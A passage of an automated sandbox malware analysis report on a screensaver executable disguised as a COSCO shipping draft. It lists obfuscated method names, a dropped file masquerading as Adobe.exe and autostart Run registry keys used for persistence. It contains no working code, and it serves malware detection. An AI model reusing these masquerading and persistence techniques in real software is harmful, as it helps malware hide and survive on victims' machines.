                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, mHbW0AIAKqkj6eq51o.csHigh entropy of concatenated method names: 'moSjKIqwQS', 'OKDjAxovHM', 'S0HjCtKVWw', 'mtljkicbKm', 'zpxjUrnufE', 'scnj6l785w', 'VF2w1OM0KPwI3Npy1k', 'OlxVdNgGVyqTcLBiIP', 'jv7AvAFgNFjoQmAyur', 'Lj8jjss9dr'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, sXCmwo7FUFTMMAucwi.csHigh entropy of concatenated method names: 'pKQ0h5EpA', 'WxsGZ1eAQ', 'r1bWgedis', 'dYbdU8MJl', 'q5SbJBHTt', 'mpyhbgnM4', 'Av3xGsJEoJ3Rlc29E5', 'o7SB6bnIHWGLpJRBXQ', 'YWVXvWUx9', 'ShTej5GkX'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, P2op7naIXLWiwb2dfs.csHigh entropy of concatenated method names: 'ToString', 'Q8L6ECh02e', 'DCP6D0PV6S', 'FKg6g6Rf2A', 'K876tdcVv9', 'L0f6MVDvjl', 'DmI61h0dkW', 'gMR6R2kwGs', 'NK465wM5QI', 'p3M6Hijsmf'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, nJdwq78l2LvXAmgiU4.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'PTj7wCicbQ', 'Y9F7o5mXyQ', 'Hnh7zTXeks', 'SkCFqN2gFd', 'Uj1FjIS8CO', 'o7sF7Amk2C', 'mtcFFgZTZR', 'bLYIR4X4emxfIJWM8eA'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, Fh1UuuAujXdFMfO7oU.csHigh entropy of concatenated method names: 'J8TF2Stfrd', 'McYF92pm5f', 'k1MFpoNH23', 'eGKF8I8eHG', 'CdZFBHSjMO', 'fFlF4McZin', 'TABFKF7tcJ', 'HOsFAejJfJ', 'UqkFOZSClG', 'RwAFCqIRyx'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, ioJ88bRZCkDBoOICcf.csHigh entropy of concatenated method names: 'wAMK9YN821', 'IjqK8KFHIA', 'yvFK431oIn', 'E9P4oxfLB3', 'gQp4zvY4bs', 'CGeKqATJGr', 'IxIKjwouEN', 'VAFK7JltTB', 'va3KF65i0R', 'qw3KIiPgHj'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, UpKycuyFGKlTPK1Hfj.csHigh entropy of concatenated method names: 'NkclCueNga', 'qTllkT2UHD', 'ToString', 'h6Tl9sgc6p', 'nGwlpIIl6V', 'SiEl8Jgpmx', 'CR7lBZrmpi', 'EDll4Xn2Lx', 'OpClKScesl', 'gyTlAKJgbp'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, vbKmbdhHMyThL0pxrn.csHigh entropy of concatenated method names: 'eL5BYB7FOY', 'xqLBdcmYIF', 'AEH8gClUrS', 'cty8tbyqJQ', 'xoW8MCUIJs', 'Pxp81XbQPi', 'T978RrDYFH', 'Hp785o0VT6', 'R6x8HuDfj3', 'tNB8fM1l0X'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, KsLjKmoKaFiko76OHT.csHigh entropy of concatenated method names: 'JnNe8lCIha', 'HPpeBZDRpF', 'sn5e4WCqyp', 'PqceKYq7n0', 'cbOenXvS4W', 'HlneAdG2La', 'Next', 'Next', 'Next', 'NextBytes'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.41f7920.3.raw.unpack, HmKTHXHIjeE7xnx0PR.csHigh entropy of concatenated method names: 'SbsKZLjm9g', 'fyAKvPK9DC', 'lxDK0uG73c', 'QaFKGojjZF', 'Ve0KYwB0Ze', 'AwPKWumrRL', 'BGWKd0Thpp', 'MTZKSF5P7u', 'SjkKbIRCMw', 'gS5KhRBGTA'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.58a0000.4.raw.unpack, FZaOUuOPvnEAfIAr0M.csHigh entropy of concatenated method names: 'lEA0fIAr0', 'tZCA8AZk9', 'gXO9bmMm8', 'DGw7NTeNK', 'Om2dkTqQy', 'EZYgaiyMO', 'Dispose', 'FZaOOUuPv', 'pv8tyvFJFxYXZkDera', 'y16QeXgcC0F7yngarN'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.58a0000.4.raw.unpack, GtaAIbrHXObmMm8GPA.csHigh entropy of concatenated method names: 't43wlqHDE', 'b331V9lSR', 'y0lQR8D9G', 'PPrmXmJxA', 'CF9acgM2i', 'eykiYV7wh', 'vSMVwpZMk', 'kxKJsuLoh', 'Ny8e5Nb61', 'qdOCMMDun'
                  Source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.58a0000.4.raw.unpack, kAOj1Y7pfP90kycNNw.csHigh entropy of concatenated method names: 'lb2Ia3XrDtd392xi2Tb', 'XJIblTXQXnFqByJBCJm', 'uLEr9lUTy0', 'Y8R45UX8CExDEFrtuqs', 'ye0NJSX7mZWAZIVVpiG', 'WY1PxJXMKygj5Preg16', 'ELG2kXXJWTZduCJNQBl', 'RgtTUJcyZL', 'wUUrNltvEH', 'CJErdEKrT9'

                  Persistence and Installation Behavior

                  barindex
                  Drops executable to a common third party application directory
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeFile written: C:\ProgramData\Adobe\Adobe.exeJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00406EB0 ShellExecuteW,URLDownloadToFileW,3_2_00406EB0
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeFile created: \draft - hbl# wspae1311198 vsl# cosco netherlands v-067e.scr.exe
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeFile created: \draft - hbl# wspae1311198 vsl# cosco netherlands v-067e.scr.exe
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeFile created: \draft - hbl# wspae1311198 vsl# cosco netherlands v-067e.scr.exeJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeFile created: \draft - hbl# wspae1311198 vsl# cosco netherlands v-067e.scr.exeJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeFile created: C:\ProgramData\Adobe\Adobe.exeJump to dropped file
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeFile created: C:\ProgramData\Adobe\Adobe.exeJump to dropped file

                  Boot Survival

                  barindex
                  Creates autostart registry keys with suspicious names
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRKJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,3_2_0041AA4A
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRKJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRKJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRKJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Adobe-OTOIRKJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,3_2_0041CB50
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
                  Source: C:\ProgramData\Adobe\Adobe.exeProcess information set: NOOPENFILEERRORBOX
